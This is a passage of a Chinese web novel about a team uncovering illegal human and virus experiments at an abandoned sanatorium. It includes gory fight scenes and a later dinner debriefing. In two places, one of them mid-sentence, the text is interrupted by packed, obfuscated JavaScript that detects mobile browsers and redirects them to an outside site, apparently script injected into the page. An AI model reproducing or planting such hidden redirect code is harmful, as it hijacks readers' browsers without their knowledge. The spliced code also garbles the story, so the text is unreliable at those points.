庄蝶并不清楚耶莉说了什么,在这种几乎是生命尽头的时刻,她只能争分夺秒地记录和表达,虽然混乱,但一定要尽可能在在视频中留下证据解释一切。 庄蝶侧过摄像头,继续补充: 【“自从怀疑宏树有非法实验后,我就开始暗中调查,想找到他们的秘密实验室,我误打误撞发现医疗中心楼里有大量隐藏的空间,也是在这里面遇到了耶莉。我打算救她出来,将她送到一个记者手上,然后想办法一起曝光这件事。”】 【“只可惜还是太晚,院方早就盯上我了,今天,8月10日,宏树疗养院遭遇恐怖袭击,撤退时我被医院主任王兴伟强行关进这里,我在病房找到了耶莉,想要一起逃出去,可不久后这里就断了电,所有的病房都上了锁,我们能找到的门,都被封死了。”】 【“也许我们今天就要死在这,但希望这段视频有朝一日能够重见天日。” “宏树疗养院绝对不止人体实验这么简单,我有理由怀疑,当年的大火并不是病人所为,而是医生,宏树一直在用疗养院内正常的工作人员做精神类药物试验,证据就是食堂特殊定制的餐盘。” “院方在食堂的饭菜里投药,通过餐盘实时监控,计算每个人的摄入量有多少,再观察这个人的日常行为有什么变化。” “之前那起火灾,就是一个医护人员过量摄入药物后发疯所为。”】 【“啊——!”】 一声凄厉的惨叫打断了庄蝶,耶莉靠着墙痛苦挣扎,双手扣在自己肚皮上,几乎把肚子扣出五个血洞。 视频忽然中断。 32. 【规则疗养院】击碎巴别塔 2059年8月10日。 庄蝶脱力跌坐在走廊,身边的耶莉已经是一具尸体。 母体死亡,可那膨胀隆起的肚子却依旧有什么东西在起伏,几乎把肚皮撑到透明。 庄蝶捡起落在一旁的折叠刀,高高举起,面无表情地盯着那一团挣动的肉。 一个尖锐的形状猛得上窜,几乎要破开布满深紫血管的肚皮,庄蝶瞳孔一缩,手起刀落,狠狠捅向耶莉腹部。 一下,两下……十下,二十下……血液混着浓浆飞溅,非人的嘶鸣声越来越弱,耶莉肚子里那个已成型的怪物终于没了生息,不再试图破腹而出。 怪物一只畸形的手撕烂了肚皮,此刻耷拉在外面,庄蝶将这“鬼胎”拽了出来,定了定神,打开相机。 “这是,宏树疗养院强迫耶莉孕育的东西……他们用活人做实验,违背法律,违背道德,这些秘密病房不知道死了多少人……这是最有力的证据!” 庄蝶看见镜头中的自己满身满脸都是血迹,手里捧着一坨不知道被捅了多少刀的烂肉,那怪婴的头部已经变形,眼球被挤了出来,手脚和脊柱的构造更像节肢昆虫,此刻弯折出了人类无法实现的弧度。 庄蝶有些恍惚,忽然觉得这一刻自己才更像一个在徘徊在地狱大门前的恶鬼。 她刚杀了人吧?一个,还是算两个? 走廊两侧锁死的病房中时不时传来呻吟挣扎声,那里多得是和耶莉一样的“代孕者”,她们之中一定也有人即将临盆,到时候,自杀,他杀,又或者鬼胎撕破母体降生屠杀…… 这里马上要变成一座人间炼狱。 - 看完庄蝶手机里第二段视频,小队所有人都陷入沉默。 银狼死死盯着镜头中那个畸形的生化胚胎,脑海中忽然挤入无数纷杂的画面,有尸体,有血肉,有孩童……零碎的片段不断抽打着他的神经。 他右臂忍不住颤抖,刚想伸手按住,可脑袋又剧烈地疼痛起来,仿佛在拼死抗拒那些闪现的记忆。 恍惚间,他听见有人在唤他的名字: “银狼,你怎么了?” 银狼抬头,迷茫地望向虚空,视线逐渐清晰,聚焦在林洗练脸上。 他下意识想要后退,却踉跄了一下。林洗练伸手扶他坐下,发现银狼掌心冰凉。 “这是怎么了?”陈一斯发觉不对,上前查看。 陈不苟和李明岐也围了过来,“不能是被视频吓着了吧?” “吓死你俩都不可能吓着他。”陈一斯检查了瞳孔和脉搏,没发现什么异常,“是不是这地方空气不流通缺氧了?” “怎么可能没事,刚才……”林洗练想说银狼刚才在抖,可话还没出口,她扶着银狼的那只手被轻轻握了一下。 “那我们抓紧时间找路出去。”一旁的申队说道,“看看能不能把这两具尸体带上,不行的话也只能等官方队伍来处理了。” 琢尔在庄蝶手机里发现了她死前探索密室留下的地图,喊陈一斯去帮忙破译数据,陈不苟也被叫去发挥自己的方向感以确认大部队现在的位置,小队其他成员忙着收拾尸体和装备。 林洗练左右看看,确定没人注意才回头扯了银狼一下,“你到底怎么了,还不让我说话?” “没事。”银狼摇摇头,“只是想起些东西。” 林洗练:“恢复记忆了?” “很模糊。”银狼手指抵着额头,痛感还没有完全散去,“我以前,好像也被关在实验室里。” 林洗练:“很正常啊,陈一斯不是说你们之前有执行过查封非法实验室的任务吗?可能你是卧底。” “不是。”银狼否认,“是我小时候。” 林洗练一愣,“你小时候被关在实验室?” 银狼的记忆中确实看到一个小小的自己,终日与冰冷的医疗仪器作伴,那狭小的病房中不止他一个受试儿童,压抑恐慌的氛围四处弥漫。 “我应该是个孤儿,被非法实验室拘禁,一直到后来联合武装捣毁窝点,才被解救出来。” “刚才庄蝶视频中那个胎儿与我小时候在实验室看到的一些畸形生物相似,可能是这样才刺激了记忆。” 林洗练看着银狼,久久无言,同情怜悯在这一刻是无用的,她也确实没有打算这么做,思维反而是临坠在了另一处边缘,悬崖峭壁,险得她声音都发冷:“你不该和我说这些。” 银狼忽然意识到自己还握着林洗练的手,轻轻松开。 林洗练:“我们刚刚发现一个强制代孕,用病毒制造生物兵器的非法实验室,你不能转头就告诉别人,你从小生长在类似的地方,见过类似的畸形生物,然后,还连自己的血缘父母都不能明确。” 人们面对与自己不同,并且无法被自己认知体系合理化的事物会本能地害怕,而害怕,就会激起伤害。 林洗练强硬地看着银狼,重新抓过他的手,力道比刚才更紧,“忘了这段记忆,就当根本没有想起来。” 银狼感受到指骨被攥紧的疼痛,被防卫训练锻造出的肌肉记忆本该在桎梏发生的那一刻就迅速反制。 可他的意识违背了本能。 “好。” 林洗练松了口气,也松了手上的力度,撤开靠墙坐下。 银狼无意识握了握空下来的掌心。 “宏树真不是东西。”林洗练扯开话题,“将三六九等的人分为三六九等的试验品,病人会因为人脑实验变得跟洪哲一般疯癫魔怔,医生同样也会因为药物测试丧失神智。” 【本院医护人员专业且有耐心,如果你发现有人业务生疏或脾气暴躁,请立刻离开并上报,避免与他们交谈。】 那些看起来无厘头的规则,竟没有一条是浪费的。 包括每周的食堂配餐,通过反向列举菜单,标注出被下了药的食物,提醒员工不可食用。 更不可与他人分享。 “之前我和申队在何余宿舍中看到了餐盘。”银狼忽然想起这件事。 当时以为是对方杂物乱堆乱放,现在看来,也许是庄蝶把药物试验的事告诉了何余,后者千方百计找来了证据,恐袭当日想带着餐盘和储存卡一起撤离,却不幸被轰炸了结了性命。 林洗练仔细捋了一遍,又有了另一个猜想,“也许不同部门的员工得到的守则也是不同的,比如食堂配餐这条,很可能何余知道,但庄蝶是没有被告知的。” 职能部门多的是与高层领导沾亲带故走后门进来的人,他们 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她和庄蝶的相遇简直是一个奇迹,一个即便身处地狱也不放弃活命的希望,一个明明发现危险却留下来继续调查。这偌大的医疗中心,两人一个向外跑,一个向里探,不知道在哪个转角碰了面,隔着人类永恒的巴别塔,却真的向彼此伸出了手。 银狼:“大概何余就是庄蝶所说的记者,她想把耶莉交给他,让他带耶莉逃出去。” 这才是他们两人必须见面,甚至是必须在疗养院内见面的原因——移交的不仅仅是证据,更是一个强有力的证人。 陈一斯和琢尔恢复了手机中的地图,那是一条条被庄蝶反复修改描画的线路,她没有超凡的空间感知力,只能以耶莉尸体所在的位置为起点,用血在墙上画记号,同时数着步子一边走一边在手机上绘制线条,一遍遍重复,修改,直至精疲力竭,确认自己真的没有生路可逃。 陈不苟接过地图,琢磨了一会儿,原地转了几圈,“我差不多知道哪是哪了。” 申队让他指路,大家下到一楼直接切门出去。 琢尔还在用手持设备浏览庄蝶手机里的数据,她尝试修复文档和照片,找到了一些零零碎碎的记录,包括庄蝶收集的宏树疗养院那些员工守则,盛行的鬼怪传闻和灵异现象。 “这是什么?”李明岐也好奇地凑过来,指了指屏幕左上角的缩略图。 琢尔点开,是庄蝶拍的几张有字有画的纸。 李明岐:“得,又是看不懂的语言。” 林洗练的目光被那几张带画的纸吸引,画风很潦草,都是些很简单的线条,依稀能看出有怀孕的女人,戴口罩的医生,还有一张图画了一排头上套麻袋手上戴手铐的人。 “这可能是……耶莉给庄蝶的纸条吧?”林洗练猜测。 语言不通,只能找别的办法交流表达,无法想象耶莉是如何弄到纸笔,躲开监控作画,又怀着怎样的心情将纸条交到庄蝶手上。 林洗练:“画画真的能救命啊。” 李明岐点点头,深表赞同,拍了拍身旁的陈不苟,“我画画可抽象了,回头得跟你深造一下。” 陈不苟正埋头研究地图,没空搭理李明岐,只见他眉头越皱越深,整张脸快贴在屏幕上。 “这儿不太对啊。” 陈不苟抬头,指着地看着众人面前那个黝黑的岔口。 “庄蝶的地图上,没有这条路” 33. 【规则疗养院】蝴蝶振翅 那年冬天,宏树疗养院又签收了一批“货物”。 她们浑浑噩噩,从一个仓库运往另一个仓库,卖家把她们用手铐连在一起,塞进笼子,到了地点,套上麻袋,拽下货车。 疗养院一扇不起眼的小门被打开,卖家将手中的锁链递给什么人,女人们步履蹒跚地被牵了进去,高墙上的警报灯闪闪发亮,红光照射在她们头上脏兮兮的麻袋,反射出满目鲜红。 蹲守在附近等着捡婴儿尸体果腹的流浪汉,看见一串蒙着“红盖头”的女人走进宏树疗养院,麻木地咧了咧嘴: “这鬼地方,又在办冥婚啊。” - 陈不苟对照地图看了三遍,确认他们现在身处医疗中心的一层,且眼前这条幽深的通道,本不该存在。 “庄蝶的地图上,没有这条路” 话音落,众人的目光都聚集过来。 琢尔和申队向洞口打去远光,亮度随着深度被一点点蚕食。 通道向下,林洗练猜想也许连着一个和地下医疗区类似的地方。 陈一斯注意到通道两侧有较新的修建痕迹,和这里荒废了半个世纪的画风明显不符。 …… 每个人的关注点都不同,只有银狼,突兀地嗅到了一丝危险气息,空气中的温度波动让他脑中警铃大响,几乎是一瞬间,他一手揽过林洗练,同时抬脚踹飞了旁边的李明岐,向后退的时候又猛地撞倒陈不苟—— “趴下!” 通道深处亮起一个橘色光点,以迅雷不及掩耳之势袭卷而来,那光点翻滚成一片火海,带着炽热的高温,刹那冲出洞口。 “轰——” 包括老莫在内的两个队员躲闪不及,身上被燎了火,还好衣服是阻燃面料,两人迅速卧倒打滚。 银狼几乎是“端着”林洗练后撤,把人牢牢护在怀中,另一条胳膊还顺势给陈不苟罩着脑袋。 被一脚踹飞的李明岐直接撞上了墙,捂着脑袋吸气,“你这也太区别对待了吧!” 银狼没理他,死死盯着通道,黑暗中传来一阵沉重的脚步声,一颗低垂着的半金属脑袋首先露了出来,然后是两条肿胀的,完全机械化的手臂,坠得肩膀都向下塌陷,锁骨变形扭曲。 陈一斯怔了一下,莫名觉得眼前这个机械篡改体有些眼熟。 老莫下意识架起了枪,子弹上膛的声音似乎惊动了来人,他脸上被改造得似昆虫般的复眼结构亮起红光,抬头精准锁定眼前每一个活体。 目光掠过银狼时,这个被过分改造的机械篡改体才露出了一个,人类勉强可以辨识的表情: “呀,是你啊。” 银狼盯着面前的人,脑海中似乎又有什么画面复苏,他看见自己在与两个机械篡改体打斗,他用臂枪轰碎了其中一个人的肩膀,接着扯住那条加装了武器的机械胳膊,生生撕离躯体。 扯断的机械元件还连着神经,与金属共生的血肉显得肮脏而碍眼。 断臂的篡改体仿佛不觉疼痛,胸膛有什么东西划开,露出几个黑洞洞的枪口,只差一点就可以启动装置聚能攻击,却在下一秒被银狼那裹着机械结构拳头直接砸烂了脑袋。 “你杀了我的同伴。”面前的机械篡改体冲银狼狞笑,加装了喷火枪的左手缓慢举起,露出满满改造痕迹。 “我花了很多精力修复这些装备,还做了升级,你看这喷火枪,是不是很有意思?” 篡改体欢呼一声,枪口向上,炸出一道火光,火焰过后他右手像变魔术一样多了一管针剂,猛地扎进脖颈,伴随着一声难以形容的吼叫亦或是呻吟,他变形的锁骨逐渐对称,塌坠的肩膀重新正位,那条机械负荷超标的胳膊也能行动自如。 “这次,我们好好打一场。” 话音落,狭小的通道内又翻滚起火焰,银狼猛地推开林洗练和陈不苟,自己迎着攻击而上,几乎是擦着火焰跃至篡改体斜后方,迫使对方改变进攻路径。 篡改体扬起右臂,多种冷兵器从金属装置中滑出,整个右手如一只机械蜘蛛一般,灵活地变换武器和攻势追击银狼。 其他队员一边躲闪,一边给银狼掩护。老莫瞄准篡改体开了枪,子弹几乎在那人的右胸打了个对穿,可下一秒,那个血洞以肉眼可见的速度愈合,丝毫没有影响篡改体的行动。 陈一斯敏感地认识到不对,刚才那个针剂有问题! 篡改体的攻势逐渐狂躁,他甚至忽视了其他人的攻击,一心只盯银狼,带着一种杀戮的成瘾感,招招疯癫血腥。 银狼引着篡改体向通道内移动,尽量远离队伍。这种改造程度的篡改体不是普通人可以对抗的,之前他在野外一打二受了那么重的伤,现在幸存的这个篡改体还进行了修复和升级,危险翻倍。 银狼:“切门,出去!” 银狼的声音点醒了林洗练,她跑向李明岐,一把抽出对方背着的激光枪,启动聚能。 李明岐:“他一个人能对付那东西吗?” 林洗练:“这地方太窄,那玩意儿手上有喷火枪,还逆天地能快速复原,我们至少先保证自己安全再说协同作战,否则银狼还不够救我们的。” “开扇门,打不过一大家起跑!” 篡改体意识到他们想开路出逃,紧追银狼打上瘾的脑袋清醒了些许,转头向其他队员进攻。 可请神容易送神难,银狼在刚才的防守中摸透了他的机械装置和攻击套路,此刻忽然调转了攻守,开始精准而密集地打击篡改体。 篡改体被绊住了脚,两边都顾不住,进攻和防御也露出了破绽,身上的伤痕越来越多,愈合频率也越来越高。 暗道外,陈不苟快速判断了位置,林洗练扛着激光枪切了扇门出来。队员们纷纷撤离,陈一斯是最后一个,回头冲黑暗中大喊: “队长,快撤!” 外面是中心医疗区的一楼,总比密室里宽敞,不管是撤离,还是分散开找掩护点然后围剿篡改体,成功的概率都更大。 可不知道是墙壁中的合金太隔音,还是出了什么意外,众人撤出的那一刹,暗道中的打斗声似乎也停了,黑暗中只隐隐听到某种黏腻恶心的声音。 下一秒,银狼疾驰出暗道,冲众人打手势示意紧急散开,在他身后,一个巨大的影子渐渐显出轮廓,机械篡改体举着手臂,机枪速射发发紧追银狼,无法抵消的后坐力让他的每一次攻击都伴随着□□损毁。 而强大的愈合力又让血肉从机械设备的缝隙中挣扎生长,机械篡改体那被多次震断又复原的锁骨此刻如肿瘤一般覆盖着厚厚的筋肉组织,他身上的各处伤口也在快速修复,如同打补丁一般层层叠叠,疯狂到几乎要超过银狼的攻击速度。 “这是……增殖?”陈一斯喃喃。 银狼隐约意识到了什么,转头大喊:“集火!” 远攻的琢尔和老莫都找到了掩体,一个操控无人机投弹,一个狙击枪发发在机篡体身上穿出血洞。 申队正面辅助银狼,陈一斯和李明岐从侧袭击,林洗练和陈不苟一人一把激光枪瞄准后背。 偌大的医疗中心一时只听得见炮响枪鸣,机篡体腹背受敌,机械设备多处损毁,伤口更是遍布全身,疯狂增殖的血肉让他的下巴直接与前胸长在了一起,新生的肉芽几乎快要把身上的机械改造部分都包裹起来。 他不再是一个“人”,更像是一座不成形的肉山,高速的愈合能力此刻渐成累赘,毫无规律的生长方向让他沦为一个怪物。 林洗练敏锐意识到机篡体的攻击意图逐渐模糊,他不再只针对银狼,或者说,他不针对任何人,攻击更像是出于野兽进食本能的狩猎,他甚至不再使用武器,只是笨重地拖着满身机械设备防守和进攻。 林洗练:“他好像……变笨了?” 或者说,这个机篡体已经丧失了身为人类的智慧和意识。 增殖还在继续,“肉山”不停膨胀。银狼当机立断,大呵一声“退后”,接着手臂泛起蓝光,弹道组合变形,口径增大,轨道变长,一颗带着火光的榴弹经由电磁力加速直直轰向“肉山”。 “砰”的一声,炮弹炸开,血沫飞溅,机篡体甚至来不及出声,在场的人抱头掩藏,两秒后血雨伴着碎尸块劈头盖脸落下。 陈不苟差一点吐了,一手拽住林洗练,一手着急忙慌地捂眼,“这一炮也太血腥了。” “那是电磁炮。”李明岐扛着电锯刃从掩体后跳出来,踢开挡路的肉块,“如果不一炮轰烂,以那玩意儿的愈合能力,说不定还要继续生长。” 陈不苟:“这不科学。“ 陈一斯:“这就是科学,刚才那机篡体注射的针剂,很可能是噬病毒。” 噬病毒和造物病毒一样,都是以初代病毒“创世”为“母体”,引入其他生物基因改造而成的人造病毒。 噬病毒可以加速新陈代谢,赋予宿主强大的再生能力,可一旦宿主遭遇毁灭性打击,伤口复原速度跟不上,细胞增殖失衡,病毒就会失控,破坏大脑,激发母体原始欲望,让宿主沦为丧尸怪物。 当年导致丧尸爆发,直接造成自然重启的两大病毒就是“噬病毒”和“造物病毒”,时至今日它们都仍然在自然界中传播变异,如今“卧龙凤雏”接连出现在了这家废弃的疗养院,宏树简直是个大型养蛊地。 李明岐转向银狼:“那个机械篡改体说你杀了他的同伴?” 银狼点头:“之前野外遇上的。” 陈一斯:“我上次野外拾荒看到的那个拖着尸体的机械篡改体,应该也是他。“ 林洗练:“他说他修复升级了身上的装备,难不成,这宏树疗养院是个机械篡改体的修理厂?” 银狼:“应该是个,研制窝点。” 银狼领着众人返回墙后的密室,那条暗道向下直通一个大型实验厂,里面满地破碎的设备和实验器材,墙上环绕的电子屏均显示“无信号”。 陈一斯:“痕迹很新,是刚撤离的。” 李明岐挑眉,“这群人没想到我们能一路查到这?” 林洗练恍然大悟,“怪不得那个机械篡改体突然跳出来,是为了拖住我们,好给撤离争取时间?” 银狼想起那人身上严重违反生理结构的机械化改造,眼神微闪,“他是枚弃子。” 幕后之人对他进行那么危险的改造,表明根本就没想过要回收这个机械篡改体,这件人形武器能消灭他们小队最好,如果不能,他也会因为攻击而无限增殖变异成一个没有智慧的怪物。 申队:“这个地方很关键,简单搜查一下,带些重要证据回去给官方汇报。” 老莫:“外面那个机械篡改体呢?” 申队:“死都死了,最多把他身上的改造设备回收一下。” 琢尔:“不,还是带些器官组织回去,按陈一斯的推测,他很可能注射了噬病毒,送去官方化验。” 队员们忙碌起来,林洗练悄悄把银狼拉到一边,“我捡到你那天你受那么重的伤,就是因为跟那个机械篡改体打架?” 银狼点头,顿了顿补充道:“两个。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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【何余:“拿到新相机咯,现在也是东庆新闻社正式的一员了,今后和大家并肩作战,希望大家不要嫌弃我哈哈哈。” “怎么会,上次你跟着岚姐去调查那起人口贩卖案,拍摄采访都做的相当好!” “那是,不然岚岚姐怎么会极力推荐呢,总之,欢迎加入新闻社!” “听说你接下来有计划做个系列新闻,来来来,我采访一下,是要调查什么,能不能透露一些?” 何余:“只能说是关于一家医院的,保留一点神秘感,具体计划我都和社长商量过了,等我们成功了,大家再一起庆祝!” “好!那我们一起祝何余开工大吉!” “开工大吉,采访顺利!”】 视频最后一帧定格在众人举杯欢笑的画面,窗外是末世少见的好天气,树高云低,蓝绿分明,每个人眼中都对未来充满希冀。 琢尔:“我在木山杨听说过,东庆大学的新闻社,在当时也是很有影响力的一个媒体团队,社员基本都是东庆的学生,那些年轻人敢想敢做,报道过很多掀起广泛讨论的社会大案,包括巨头企业产品安全,地下招工黑产业链,社团里收到过死亡威胁的社员不在少数。” 可这群年轻人没有退缩,依然满腔热血为新闻事业奋斗,报道和纪录片里每一帧非正常角度拍摄的画面,都是他们逆流而上的证明。 林洗练:“他们真的很勇敢。” 琢尔:“是啊,那时候的人,好像还没有麻木。” 总有人是理想主义者,何余在最艰难的时候都没有想过要终止卧底计划,他很幸运地遇到了庄蝶,另一团裹挟着热血的光。 琢尔:“东庆大学的加密论坛是‘阅后即焚’性质,一旦下线数据自动清除,可何余,他把与庄蝶的大部分聊天记录都保存了下来。” 这些是琢尔后来找到的,在硬盘中一个加密的,名为“88”的文件夹,里面按时间顺序排列着几百张聊天记录,还有一个整合的文字版文档,足足三十多页。 这些尘封的文字中,是一个灵魂被另一个灵魂拔出深渊的全过程,在何余被宏树疗养院折磨得精神恍惚,近似魔怔的时候,是庄蝶与他抽丝剥茧,探寻分析,坚定地告诉他,这里没有鬼神,只是人心。 两人聊过去,聊未来,庄蝶作为东庆医学院的毕业生,成绩优异,前途光明,可她放弃了在知名医院的工作,转投公益事业,会选择来宏树,也是因为这里的医疗中心声称免费收治家境困难的疑难杂症患者,即使工资低,她也愿意成为志愿者。 或许在逐渐意识到宏树违法犯罪的过程中,庄蝶所受的冲击比何余更大,毕竟她本以为自己加入了一个志同道合的组织,却不想到头来竟近乎扮演了一个加害者的角色。 她帮助何余坚定信念,或许何余卧底调查的勇气也感染了她,两人从未见面,却相互鼓励扶持将调查继续下去,誓要揭露这里的真相。 林洗练看着指尖划过的一张张图片,有些感慨,“宏树疗养院,本该是一篇震惊社会的报道,只可惜……” 琢尔:“哪怕轰炸再晚一天,事情都能有转机。” 不过幸好,时隔五十年,这些录像和资料被他们发掘修复,重见天日,官方必定将这些过往录入旧纪元档案,成为再难磨灭的“历史事件”。 而庄蝶与何余的故事…… 林洗练忽然想起什么,转头要去翻银狼的背包。 银狼看似闭目养神,其实一直在默默听着,手掌一翻,是那个他从何余宿舍里捡来的蝴蝶工艺品。 也许这是何余打算送给庄蝶的礼物。 制作完成,只差包装,何余一定想象过,等宏树疗养院的事情了结,他和庄蝶能并肩回到东庆大学,在医学院的大门前,或者新闻社的办公室,他送上一个小礼物,纪念两人曾并肩作战。 他们的故事,是宏大叙事下的一声叹息,藏在蝴蝶振翅的微小风里。 34. 海北·康威尔公司 丽舍酒吧。 “这次任务很圆满,看来我推荐的那两个人还不错。” 男人慢悠悠翻着任务报告。 “隆上校,话不能这么说。”钟情从周锐手中接过调好的酒,比了比分量,递给隆顿一杯,“我们木山杨也是出力了的。” “银狼和陈一斯,当年都是联合武装的好苗子。”隆顿接过杯子,斜了钟情一眼:“今天酒我请,不用这么抠门。” 一旁的李明岐打了个哈欠,“你们今天要是聊这有的没的,我就先走了。” “坐着。”隆顿翻过一页任务报告,眼神欠奉。 “官方队伍已经去清理现场了,宏树疗养院的实验室可能一年前就已经被鸠占鹊巢,从地下没来得及带走的设备,以及一些技术应用留下的蛛丝马迹,可以一直追溯到海北。” 钟情:“海崎?还是康威尔?” 李明岐:“这两个公司有区别吗?不都是海北资本。” 周锐:“分歧还是有的,这些年海北地区的政策向康威尔倾斜,着重研发植入性机械设备,海崎核业躺在除污技术上吃了多少年老本了。” 隆顿:“从现场痕迹来看,康威尔的可能性更高,他们的设计不成熟,神经连接技术也落后,无法解决人体超机械化的排异反应,只能另辟蹊径给实验体注入噬病毒,用病毒的再生修复能力去对冲机械化产生的伤害。” 钟情:“当年就是这一套,这么久了没有一点改进。” 隆顿:“不然海北也不会投那么多人力物力,潜入雅东找可供他们参考研究的机械体。” 周锐搅动着杯里的冰块,状似无意道:“可也许不知道什么时候,这个技术难关就被海北攻破了呢?” 隆顿合上报告,没有接话。 李明岐:“可如果是康威尔公司,为什么要放我们一马?当时他们完全可以直接把我们困死在地下医疗区。” “你还以为最后那个机械篡改体只是为了拖住你们?”隆顿冷笑,骂他被卖了还帮别人数钱, “他们是为了收集战斗数据,一个超负荷改造的机械体,和一群实力不俗的对手,就算全部打残打死打报废,他们也不用考虑任何安全和成本问题,只需要一张远程芯片输送数据,稳赚不赔的买卖。” 李明岐:“……” 隆顿:“我让你盯的事情,怎么样。” “不知道你怀疑什么”李明岐翘起椅子晃了两下,“银狼真失忆了。” “陈一斯呢?” “好好开店的生意人一个。” “行。”隆顿一口把酒灌完,带上报告和资料,站起身,“如果陈一斯和银狼分开活动,优先盯紧银狼。” 李明岐“啧”了一声,“隆上校,拜你所赐,我已经被国防学院开除了,凭什么还要听你的?” 隆顿没搭理他,转头对钟情道:“我后面有一趟野外任务,先走了。” 踏出门时侧头挥了挥手,“别得寸进尺,小兵痞子。” - 陈一斯准备搞个庆功宴,次要原因是队友联谊增进感情,主要原因是她有点馋林洗练做的饭。 琢尔申队他们又组团接了个活,这几天比较忙来不了。李明岐闲人一个,兴致勃勃地来凑热闹,被坑了一大笔伙食费也没有怨言,还叫上了钟情和周锐说要吃回本。 丁瀛之前帮忙看店,肯定也是要邀请的,林洗练寻思这么多人不行就吃火锅吧,热闹还方便。 就是市场上的菜确实有点少,最后还是周锐有门路,从城区的私人农场搞来了几样食材,据说价格贵得吓死人。 “别告诉我!”林洗练眼疾手快捂住耳朵,“我怕听了这饭都不敢做了,得直接把菜供起来,二苟子快,送朕回厨房。” 如今这世道物资匮乏,香喷喷的牛油辣锅就不用想了,好在银狼他们去抓鱼顺手采了一袋蘑菇回来,经丁博士权威验证,确认无毒可食用。 银狼在林洗练的指挥下切蘑菇熬菌汤,李明岐和陈不苟一人一块板板剁肉馅做丸子,陈一斯可操控纳米级维修设备的手此刻用来切肉,一大盘薄厚均匀的肉片让林洗练嘴角留下了喜悦的泪水。 “老板,你这刀工太棒了!” 陈不苟探过头,“真好,要是装配店□□黄了,姐你还能去当个厨子,就城里富人区那些高级餐厅,你坐在转桌中间切生鱼片,越薄卖得越贵,往那米饭坨坨上一搭,有钱人就好这一口。” 陈一斯听了有些跃跃欲试,林洗练匀了半条鱼给她,“切点鱼片也行,等下烫鱼片吃。” 捏丸子剩下的肉馅林洗练做了蛋饺,就用了一把汤勺,刷油刷蛋液放馅料,趁着蛋液未完全凝固赶紧合拢,李明岐在旁边看得津津有味,“一把勺都能做饭,我看你才应该去那些高级餐厅,绝对能混个主厨。” 林洗练耸肩,不置可否。 其实这个时代的“餐厅”早已不是她所熟知的意义,它是一项特权。 复杂的工序,精致的菜品,配套的礼仪,都是彰显特权不可或缺的一部分。普通人走不进餐厅,更不理解餐厅。 做菜好吃的人多了去了,可再好吃也是有天花板的,一道炒鸡蛋再怎么天上有地上无也脱不开鸡蛋的味道,毕竟食材就摆在那里。 她的家常菜做法不是富人区“餐厅”想要的,说句实话,如果她和陈一斯去应聘,可能还真是陈一斯的刀工赢面还大一点,这种绝对的观赏性自带高级感。 夜幕降临,菌汤锅底和各式配菜终于上了桌。钟情来得晚,进门笑道,“我没来迟吧。” 李明岐:“钟姐卡饭点来啊,一下午的活是一点没赶上。” 钟情:“我不是得跟官方队伍开会吗,你怎么不说周锐,一看他这懒散样就知道也没干活。” 李明岐:“你能跟周老板比吗?人家没出力但出钱了啊,要不然今晚我们就只能一人一碗蘑菇汤喝吧喝吧得了。” 钟情:“你这话可就偏颇了,今天的饮料可是我赞助的,让你周老板提前带过来而已,不然你以为这一毛不拔的铁公鸡这么大方呢?” “好,倒上倒上,感谢周老板的食材,感谢钟老板的饮料,举杯——” 气氛逐渐热络起来,钟情说起官方队伍对宏树疗养院的调查结果,如今已经在旧纪元档案中归档了。 “宏树的违法行为包括人脑实验,人体实验,还有病毒实验,这些都有证据留存。” “其实当年所谓的恐怖袭击根本是个幌子,真实情况是院区内病毒外泄,上层人员撤离后怕事情败露,申请对疗养院进行轰炸来掩盖一切。” “但是宏树背后的母公司想要保他们非法实验的研究成果,又找了关系停止轰炸,只做封区,本想缓两年等事态平息再做启封或者回收打算,可没过多久世道就乱了,它那母公司也在自然重启前后撤离雅东,倒闭解散。” “说到底都是人祸啊。”陈一斯摇了摇头。 陈不苟:“这么个三无作坊,居然能有近二十年建院史,不知道害了多少人,还好它公司倒闭了。” 丁瀛:“它倒闭了,可自然重启之后的非法实验室也不少,我导师就跟我说过,二三十年前有些财阀资助实验室,给自己搞克隆体搞血包。” 陈不苟:“血包?” 钟情:“那时候瘟疫病毒横行,外面到处是变异生物,蚊子叮一下都可能感染死亡,污染土地种出的粮食不吃会饿死,吃了又等于吞下定时炸弹,有钱人怕死,盛行养替身,用自己的DNA克隆,万一自己什么器官出现问题,还是自己的东西换着放心。” 什么地狱笑话。 林洗练算了算时间,自然重启后连着的就是□□,那时候海崎核业的除污染技术还没研发出来,人们真就面临着不吃立马饿死,吃了以后病死的地狱困境。 丁瀛:“即便后来粮食问题解决了,也还是有富人暗地里搞非法实验,海崎就一直在非法研究基因工程,国际组织谴责多少次了。” 陈一斯:“解决粮食问题?只要海崎还在一天,这个问题就不可能解决。” 海崎核业靠着除污技术赚的盆满钵满,即便有人研发出了更新的,更好的技术问世,这个资本的庞然大物也一定会想方设法阻止 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13235390|135698||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其问世。 饭桌上静了片刻,钟情见气氛沉重,从翻滚的菌汤锅中捞出一个蛋饺,转头跟周锐炫耀,“怎么样,最后一个我抢到了吧?” 林洗练调了辣口的蘸料,配着蛋饺吃简直完美。钟情被汤汁烫得直吸气,但还是忍不住往嘴里送。 “唔……你们这次野外任务做得是真不错,替官方队伍搜集到不少证据,据我那老朋友说,东研借这事儿叫停了好几个跟康威尔合作的项目,直接把人遣送回海北,别提多硬气了。” “哦——”丁瀛恍然大悟,“我说院里怎么忽然停了那么多课题,我跟的那个II型设备项目里好几个海北人一夜之间都联系不上了,我上周去实验室,看门大爷亲切地喊我回去休息。” 林洗练:“忽然叫停项目,那不是意味着前期努力都打水漂了?” 丁瀛撇撇嘴,“说是合作,其实不过是康威尔的人借东研的资源,技术,甚至地盘搞研究,我们就是免费劳动力,做的都是低端重复的活,真要鼓捣出什么,不管作者是谁,专利一律属于康威尔,但人家的研究成果是不与我们共享的。” 林洗练一脸诧异,“这什么不平等条约,它怎么不直接抢呢?” 